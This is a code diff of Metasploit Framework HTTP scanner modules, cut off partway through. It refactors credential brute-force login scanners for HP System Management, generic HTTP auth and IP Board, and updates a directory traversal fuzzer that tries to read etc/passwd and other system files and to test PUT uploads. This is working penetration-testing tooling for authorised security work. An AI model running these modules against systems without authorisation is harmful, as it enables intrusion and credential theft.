https://github.com/rapid7/metasploit-framework ## @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The path of the file to download', 'c:\\boot.ini']) + OptString.new('FILEPATH', [true, 'The path of the file to download', 'c:\\windows\\win.ini']) ], self.class) end diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb index d859c12eb7..fa4557f956 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit4 < Msf::Auxiliary register_options( [ Opt::RPORT(8080), - OptString.new('RFILE', [true, 'Remote File', 'c:\\boot.ini']), + OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb index 94ce69255d..e60872481f 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index 710a3abecb..db77012186 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit4 < Msf::Auxiliary register_options( [ Opt::RPORT(8080), - OptString.new('RFILE', [true, 'Remote File', 'c:\\boot.ini']), + OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']), ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb index 360c344f0e..cf4aec64bc 100644 --- a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb +++ b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb @@ -1,15 +1,18 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'metasploit/framework/login_scanner/smh' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner def initialize(info={}) super(update_info(info, @@ -20,81 +23,179 @@ class Metasploit3 < Msf::Auxiliary }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], - 'DefaultOptions' => { 'SSL' => true } + 'DefaultOptions' => + { + 'SSL' => true, + 'RPORT' => 2381, + 'USERPASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt"), + 'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt"), + 'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "unix_passwords.txt") + } )) - - register_options( - [ - Opt::RPORT(2381), - OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", - File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt") ]), - OptPath.new('USER_FILE', [ false, "File containing users, one per line", - File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), - OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), - ], self.class) end - def anonymous_access? - res = send_request_raw({'uri' => '/'}) + def get_version(res) + if res + return res.body.scan(/smhversion = "HP System Management Homepage v([\d\.]+)"/i).flatten[0] || '' + end + + '' + end + + def is_version_tested?(version) + # As of Sep 4 2014, version 7.4 is the latest and that's the last one we've tested + if Gem::Version.new(version) < Gem::Version.new('7.5') + return true + end + + false + end + + def get_system_name(res) + if res + return res.body.scan(/fullsystemname = "(.+)"/i).flatten[0] || '' + end + + '' + end + + def anonymous_access?(res) return true if res and res.body =~ /username = "hpsmh_anonymous"/ false end - def do_login(user, pass) - begin - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => '/proxy/ssllogin', - 'vars_post' => { - 'redirecturl' => '', - 'redirectquerystring' => '', - 'user' => user, - 'password' => pass - } - }) + def init_loginscanner(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) - if not res - print_error("#{peer} - Connection timed out") - return :abort + @scanner = Metasploit::Framework::LoginScanner::Smh.new( + host: ip, + port: rport, + uri: datastore['URI'], + proxies: datastore["PROXIES"], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + framework: framework, + framework_module: self, + ) + + @scanner.ssl = datastore['SSL'] + @scanner.ssl_version = datastore['SSLVERSION'] + end + + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end + + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) end - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED - print_error("#{peer} - Failed to response") - return :abort - end - - if res.headers['CpqElm-Login'].to_s =~ /success/ - print_good("#{peer} - Successful login: '#{user}:#{pass}'") - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'https', - :user => user, - :pass => pass, - :proof => "CpqElm-Login: #{res.headers['CpqElm-Login']}" - }) - - return :next_user end end - def run - if anonymous_access? - print_status("#{peer} - No login necessary. Server allows anonymous access.") + def run_host(ip) + res = send_request_cgi({ + 'uri' => '/cpqlogin.htm', + 'method' => 'GET', + 'vars_get' => { + 'RedirectUrl' => '/cpqlogin', + 'RedirectQueryString' => '' + } + }) + + version = get_version(res) + unless version.blank? + print_status("#{peer} - Version detected: #{version}") + unless is_version_tested?(version) + print_warning("#{peer} - You're running the module against a version we have not tested") + end + end + + sys_name = get_system_name(res) + unless sys_name.blank? + print_status("#{peer} - System name detected: #{sys_name}") + report_note( + :host => ip, + :type => "system.name", + :data => sys_name + ) + end + + if anonymous_access?(res) + print_good("#{peer} - No login necessary. Server allows anonymous access.") return end - each_user_pass { |user, pass| - # Actually respect the BLANK_PASSWORDS option - next if not datastore['BLANK_PASSWORDS'] and pass.blank? - - vprint_status("#{peer} - Trying: '#{user}:#{pass}'") - do_login(user, pass) - } + init_loginscanner(ip) + bruteforce(ip) end end -=begin -Tested: v6.3.1.24 upto v7.2.1.3 -=end diff --git a/modules/auxiliary/scanner/http/http_header.rb b/modules/auxiliary/scanner/http/http_header.rb new file mode 100644 index 0000000000..0fe42d2b52 --- /dev/null +++ b/modules/auxiliary/scanner/http/http_header.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'HTTP Header Detection', + 'Description' => %q{ This module shows HTTP Headers returned by the scanned systems. }, + 'Author' => + [ + 'Christian Mehlmauer', + 'rick2600' + ], + 'References' => + [ + ['URL', 'http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html'], + ['URL', 'http://en.wikipedia.org/wiki/List_of_HTTP_header_fields'] + ], + 'License' => MSF_LICENSE + )) + + register_options([ + OptString.new('IGN_HEADER', [ true, 'List of headers to ignore, seperated by comma', + 'Vary,Date,Content-Length,Connection,Etag,Expires,Pragma,Accept-Ranges']), + OptEnum.new('HTTP_METHOD', [ true, 'HTTP Method to use, HEAD or GET', 'HEAD', ['GET', 'HEAD'] ]), + OptString.new('TARGETURI', [ true, 'The URI to use', '/']) + ]) + end + + def run_host(ip) + ignored_headers = datastore['IGN_HEADER'].split(',') + + uri = normalize_uri(target_uri.path) + method = datastore['HTTP_METHOD'] + vprint_status("#{peer}: requesting #{uri} via #{method}") + res = send_request_raw({ + 'method' => method, + 'uri' => uri + }) + + unless res + vprint_error("#{peer}: connection timed out") + return + end + + headers = res.headers + unless headers + vprint_status("#{peer}: no headers returned") + return + end + + # Header Names are case insensitve so convert them to upcase + headers_uppercase = headers.inject({}) do |hash, keys| + hash[keys[0].upcase] = keys[1] + hash + end + + ignored_headers.each do |h| + if headers_uppercase.has_key?(h.upcase) + vprint_status("#{peer}: deleted header #{h}") + headers_uppercase.delete(h.upcase) + end + end + headers_uppercase.to_a.compact.sort + + counter = 0; + headers_uppercase.each do |h| + header_string = "#{h[0]}: #{h[1]}" + print_status "#{peer}: #{header_string}" + + report_note( + :type => "http.header.#{rport}.#{counter}", + :data => header_string, + :host => ip, + :port => rport + ) + counter = counter + 1 + end + if counter == 0 + print_warning "#{peer}: all detected headers are defined in IGN_HEADER and were ignored " + else + print_good "#{peer}: detected #{counter} headers" + end + end + +end diff --git a/modules/auxiliary/scanner/http/http_hsts.rb b/modules/auxiliary/scanner/http/http_hsts.rb index d6daa4aec4..35e2c2b497 100644 --- a/modules/auxiliary/scanner/http/http_hsts.rb +++ b/modules/auxiliary/scanner/http/http_hsts.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 4626686a0c..6fba649965 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -1,11 +1,13 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/ntlm/message' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/http' class Metasploit3 < Msf::Auxiliary @@ -29,7 +31,13 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '1999-0502'] # Weak password ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + # See https://github.com/rapid7/metasploit-framework/issues/3811 + #'DefaultOptions' => { + # 'USERPASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt"), + # 'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"), + # 'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt"), + #} ) register_options( @@ -46,9 +54,18 @@ class Metasploit3 < Msf::Auxiliary register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ]) end - def find_auth_uri + def to_uri(uri) + begin + # In case TARGETURI is empty, at least we default to '/' + uri = "/" if uri.blank? + URI(uri) + rescue ::URI::InvalidURIError + raise RuntimeError, "Invalid URI: #{uri}" + end + end - if datastore['AUTH_URI'] and datastore['AUTH_URI'].length > 0 + def find_auth_uri + if datastore['AUTH_URI'].present? paths = [datastore['AUTH_URI']] else paths = %W{ @@ -61,15 +78,27 @@ class Metasploit3 < Msf::Auxiliary end paths.each do |path| + uri = '' + + begin + uri = to_uri(path) + rescue RuntimeError => e + # Bad URI so we will not try to request it + print_error(e.message) + next + end + + uri = normalize_uri(uri.path) + res = send_request_cgi({ - 'uri' => path, + 'uri' => uri, 'method' => datastore['REQUESTTYPE'], 'username' => '', 'password' => '' }, 10) - next if not res - if res.code == 301 or res.code == 302 and res.headers['Location'] and res.headers['Location'] !~ /^http/ + next unless res + if res.redirect? && res.headers['Location'] && res.headers['Location'] !~ /^http/ path = res.headers['Location'] vprint_status("Following redirect: #{path}") res = send_request_cgi({ @@ -80,6 +109,7 @@ class Metasploit3 < Msf::Auxiliary }, 10) next if not res end + next unless res.code == 401 return path end @@ -96,7 +126,7 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - if ( datastore['REQUESTTYPE'] == "PUT" ) and (datastore['AUTH_URI'] == "") + if (datastore['REQUESTTYPE'] == "PUT") && (datastore['AUTH_URI'].blank?) print_error("You need need to set AUTH_URI when using PUT Method !") return end @@ -110,84 +140,68 @@ class Metasploit3 < Msf::Auxiliary print_status("Attempting to login to #{target_url}") - each_user_pass { |user, pass| - do_login(user, pass) - } - end + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) - def do_login(user='admin', pass='admin') - vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") + cred_collection = prepend_db_passwords(cred_collection) - response = do_http_login(user,pass) - result = determine_result(response) + scanner = Metasploit::Framework::LoginScanner::HTTP.new( + host: ip, + port: rport, + uri: @uri, + method: datastore['REQUESTTYPE'], + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'], + framework: framework, + framework_module: self, + ) - if result == :success - print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - - any_user = false - any_pass = false - - vprint_status("#{target_url} - Trying random username with password:'#{pass}'") - any_user = determine_result(do_http_login(Rex::Text.rand_text_alpha(8), pass)) - - vprint_status("#{target_url} - Trying username:'#{user}' with random password") - any_pass = determine_result(do_http_login(user, Rex::Text.rand_text_alpha(8))) - - if any_user == :success - user = "anyuser" - print_status("#{target_url} - Any username with password '#{pass}' is allowed") - else - print_status("#{target_url} - Random usernames are not allowed.") - end - - if any_pass == :success - pass = "anypass" - print_status("#{target_url} - Any password with username '#{user}' is allowed") - else - print_status("#{target_url} - Random passwords are not allowed.") - end - - unless (user == "anyuser" and pass == "anypass") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}", - :source_type => "user_supplied", - :active => true - ) - end - - return :abort if ([any_user,any_pass].include? :success) - return :next_user - else - vprint_error("#{target_url} - Failed to login as '#{user}'") + msg = scanner.check_setup + if msg + print_brute :level => :error, :ip => ip, :msg => "Verification failed: #{msg}" return end - end - def do_http_login(user,pass) - begin - response = send_request_cgi({ - 'uri' => @uri, - 'method' => datastore['REQUESTTYPE'], - 'username' => user, - 'password' => pass - }) - return response - rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") - return nil + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login(credential_data) + end end + end - def determine_result(response) - return :abort unless response.kind_of? Rex::Proto::Http::Response - return :abort unless response.code - return :success if [200, 301, 302].include?(response.code) - return :fail - end end diff --git a/modules/auxiliary/scanner/http/http_put.rb b/modules/auxiliary/scanner/http/http_put.rb index 02bc3358d1..01aa175aa3 100644 --- a/modules/auxiliary/scanner/http/http_put.rb +++ b/modules/auxiliary/scanner/http/http_put.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/http_traversal.rb b/modules/auxiliary/scanner/http/http_traversal.rb index d489e7aab4..94947a2f96 100644 --- a/modules/auxiliary/scanner/http/http_traversal.rb +++ b/modules/auxiliary/scanner/http/http_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PATH', [true, 'Vulnerable path. Ex: /foo/index.php?pg=', '/']), OptString.new('DATA', [false,'HTTP body data', '']), OptInt.new('DEPTH', [true, 'Traversal depth', 5]), - OptRegexp.new('PATTERN', [true, 'Regexp pattern to determine directory traversal', '^HTTP/1.1 200 OK']), + OptRegexp.new('PATTERN', [true, 'Regexp pattern to determine directory traversal', '^HTTP/\\d\\.\\d 200']), OptPath.new( 'FILELIST', [ @@ -80,6 +80,18 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') end + + # Avoids writing to datastore['METHOD'] directly + def method + @method || datastore['METHOD'] + end + + # Avoids writing to datastore['DATA'] directly + def data + @data || datastore['DATA'] + end + + # # The fuzz() function serves as the engine for the module. It can intelligently mutate # a trigger, and find potential bugs with it. @@ -94,19 +106,19 @@ class Metasploit3 < Msf::Auxiliary # Initialize the default file(s) we should try to read during fuzzing if datastore['FILE'].empty? - file_to_read = ['etc/passwd', 'boot.ini'] + file_to_read = ['etc/passwd', 'boot.ini', 'windows\\win.ini'] else file_to_read = [datastore['FILE']] end # Each possible trigger, we try to traverse multiple levels down depending # on datastore['DEPATH'] - depth = datastore['DEPTH'] + depth = datastore['DEPTH'] triggers.each do |base| 1.upto(depth) do |d| file_to_read.each do |f| trigger = base * d - p = datastore['PATH'] + trigger + f + p = normalize_uri(datastore['PATH']) + trigger + f req = ini_request(p) vprint_status("Trying: http://#{rhost}:#{rport}#{p}") res = send_request_cgi(req, 25) @@ -124,10 +136,6 @@ class Metasploit3 < Msf::Auxiliary def ini_request(uri) req = {} - # If the user is using some rare-to-use method, we probably have not fully tested, - # so we will not support it for now. - method = datastore['METHOD'] - data = datastore['DATA'] case method when 'GET' # Example: Say we have the following datastore['PATH'] @@ -135,8 +143,8 @@ class Metasploit3 < Msf::Auxiliary # We expect it to regex the GET parameters: # 'page=1&id=3¬e=whatever' # And then let queryparse() to handle the rest - data = uri.match(/\?(\w+=.+&*)$/) - req['vars_get'] = queryparse(data[1]) if not data.nil? + query_params = uri.match(/\?(\w+=.+&*)$/) + req['vars_get'] = queryparse(query_params[1]) if query_params when 'POST' req['vars_post'] = queryparse(data) if not data.empty? when 'PUT' @@ -154,10 +162,10 @@ class Metasploit3 < Msf::Auxiliary this_path = uri end - req['method'] = datastore['METHOD'] + req['method'] = method req['uri'] = this_path req['headers'] = {'Cookie'=>datastore['COOKIE']} if not datastore['COOKIE'].empty? - req['data'] = datastore['DATA'] if not datastore['DATA'].empty? + req['data'] = data if not data.empty? req['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) return req @@ -187,7 +195,7 @@ class Metasploit3 < Msf::Auxiliary if datastore['TRIGGER'].empty? # Found trigger using fuzz() found = true if trigger - uri = datastore['PATH'] + trigger + uri = normalize_uri(datastore['PATH']) + trigger else # Manual check. meh. if datastore['FILE'].empty? @@ -195,7 +203,7 @@ class Metasploit3 < Msf::Auxiliary return end - uri = datastore['PATH'] + trigger + datastore['FILE'] + uri = normalize_uri(datastore['PATH']) + trigger + datastore['FILE'] req = ini_request(uri) vprint_status("Trying: http://#{rhost}:#{rport}#{uri}") res = send_request_cgi(req, 25) @@ -211,13 +219,13 @@ class Metasploit3 < Msf::Auxiliary :port => rport, :vhost => datastore['VHOST'], :path => uri, - :params => datastore['PATH'], + :params => normalize_uri(datastore['PATH']), :pname => trigger, :risk => 3, :proof => trigger, :name => self.fullname, :category => "web", - :method => datastore['METHOD'] + :method => method }) else @@ -234,7 +242,7 @@ class Metasploit3 < Msf::Auxiliary # Our trigger already puts us in '/', so our filename doesn't need to begin with that f = f[1,f.length] if f =~ /^\// - req = ini_request(uri = (datastore['PATH'] + trigger + f).chop) + req = ini_request(uri = (normalize_uri(datastore['PATH']) + trigger + f).chop) res = send_request_cgi(req, 25) vprint_status("#{res.code.to_s} for http://#{rhost}:#{rport}#{uri}") if res @@ -261,7 +269,7 @@ class Metasploit3 < Msf::Auxiliary # Our trigger already puts us in '/', so our filename doesn't need to begin with that f = f[1,f.length] if f =~ /^\// - req = ini_request(uri = (datastore['PATH'] + "php://filter/read=convert.base64-encode/resource=" + f).chop) + req = ini_request(uri = (normalize_uri(datastore['PATH']) + "php://filter/read=convert.base64-encode/resource=" + f).chop) res = send_request_cgi(req, 25) vprint_status("#{res.code.to_s} for http://#{rhost}:#{rport}#{uri}") if res @@ -281,20 +289,20 @@ class Metasploit3 < Msf::Auxiliary # def is_writable(trigger) # Modify some registered options for the PUT method - tmp_method = datastore['METHOD'] - tmp_data = datastore['DATA'] - datastore['METHOD'] = 'PUT' + tmp_method = method + tmp_data = data + @method = 'PUT' - if datastore['DATA'].empty? + if data.empty? unique_str = Rex::Text.rand_text_alpha(4) * 4 - datastore['DATA'] = unique_str + @data = unique_str else - unique_str = datastore['DATA'] + unique_str = data end # Form the PUT request fname = Rex::Text.rand_text_alpha(rand(5) + 5) + '.txt' - uri = datastore['PATH'] + trigger + fname + uri = normalize_uri(datastore['PATH']) + trigger + fname vprint_status("Attempt to upload to: http://#{rhost}:#{rport}#{uri}") req = ini_request(uri) @@ -302,8 +310,8 @@ class Metasploit3 < Msf::Auxiliary send_request_cgi(req, 25) # Prepare request to read our file - datastore['METHOD'] = 'GET' - datastore['DATA'] = tmp_data + @method = 'GET' + @data = tmp_data req = ini_request(uri) vprint_status("Verifying upload...") res = send_request_cgi(req, 25) @@ -316,7 +324,7 @@ class Metasploit3 < Msf::Auxiliary end # Ah, don't forget to restore our method - datastore['METHOD'] = tmp_method + @method = tmp_method end # @@ -324,21 +332,14 @@ class Metasploit3 < Msf::Auxiliary # This is used in the lfi_download() function # def load_filelist - f = File.open(datastore['FILELIST'], 'rb') - buf = f.read - f.close - return buf + File.open(datastore['FILELIST'], 'rb') {|f| f.read} end def run_host(ip) - # Make sure datastore['PATH] begins with a '/' - if datastore['PATH'] !~ /^\// - datastore['PATH'] = '/' + datastore['PATH'] + # Warn if it's not a well-formed UPPERCASE method + if method !~ /^[A-Z]+$/ + print_warning("HTTP method #{method} is not Apache-compliant. Try only UPPERCASE letters.") end - - # Some webservers (ie. Apache) might not like the HTTP method to be lower-case - datastore['METHOD'] = datastore['METHOD'].upcase - print_status("Running action: #{action.name}...") # And it's..... "SHOW TIME!!" diff --git a/modules/auxiliary/scanner/http/http_version.rb b/modules/auxiliary/scanner/http/http_version.rb index 9fd4b7ce4e..10ac45f37a 100644 --- a/modules/auxiliary/scanner/http/http_version.rb +++ b/modules/auxiliary/scanner/http/http_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,13 +33,12 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) begin connect - - res = send_request_raw({'uri' => '/', 'method' => 'GET' }) - return if not res - + res = send_request_raw({ 'uri' => '/', 'method' => 'GET' }) fp = http_fingerprint(:response => res) print_status("#{ip}:#{rport} #{fp}") if fp rescue ::Timeout::Error, ::Errno::EPIPE + ensure + disconnect end end diff --git a/modules/auxiliary/scanner/http/httpbl_lookup.rb b/modules/auxiliary/scanner/http/httpbl_lookup.rb index 809fc99ccb..3fdc6c3755 100644 --- a/modules/auxiliary/scanner/http/httpbl_lookup.rb +++ b/modules/auxiliary/scanner/http/httpbl_lookup.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/iis_internal_ip.rb b/modules/auxiliary/scanner/http/iis_internal_ip.rb index c51e2649c8..ab597f3bc7 100644 --- a/modules/auxiliary/scanner/http/iis_internal_ip.rb +++ b/modules/auxiliary/scanner/http/iis_internal_ip.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/infovista_enum.rb b/modules/auxiliary/scanner/http/infovista_enum.rb index 730b6017a8..23464d6934 100644 --- a/modules/auxiliary/scanner/http/infovista_enum.rb +++ b/modules/auxiliary/scanner/http/infovista_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/ipboard_login.rb b/modules/auxiliary/scanner/http/ipboard_login.rb new file mode 100644 index 0000000000..6ef45268bb --- /dev/null +++ b/modules/auxiliary/scanner/http/ipboard_login.rb @@ -0,0 +1,84 @@ + +require 'msf/core' +require 'metasploit/framework/login_scanner/ipboard' +require 'metasploit/framework/credential_collection' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'IP Board Login Auxiliary Module', + 'Description' => %q{ + This module attempts to validate user provided credentials against + an IP Board web application. + }, + 'Author' => 'Christopher Truncer chris@christophertruncer.com', + 'License' => MSF_LICENSE + ) + + register_options([ + OptString.new('TARGETURI', [true, "The directory of the IP Board install", "/forum/"]), + ], self.class) + end + + def run_host(ip) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + scanner = Metasploit::Framework::LoginScanner::IPBoard.new( + host: ip, + port: rport, + uri: normalize_uri(target_uri.path), + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'], + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login(credential_data) + end + end + + end + +end diff --git a/modules/auxiliary/scanner/http/jboss_status.rb b/modules/auxiliary/scanner/http/jboss_status.rb new file mode 100644 index 0000000000..871adfedaa --- /dev/null +++ 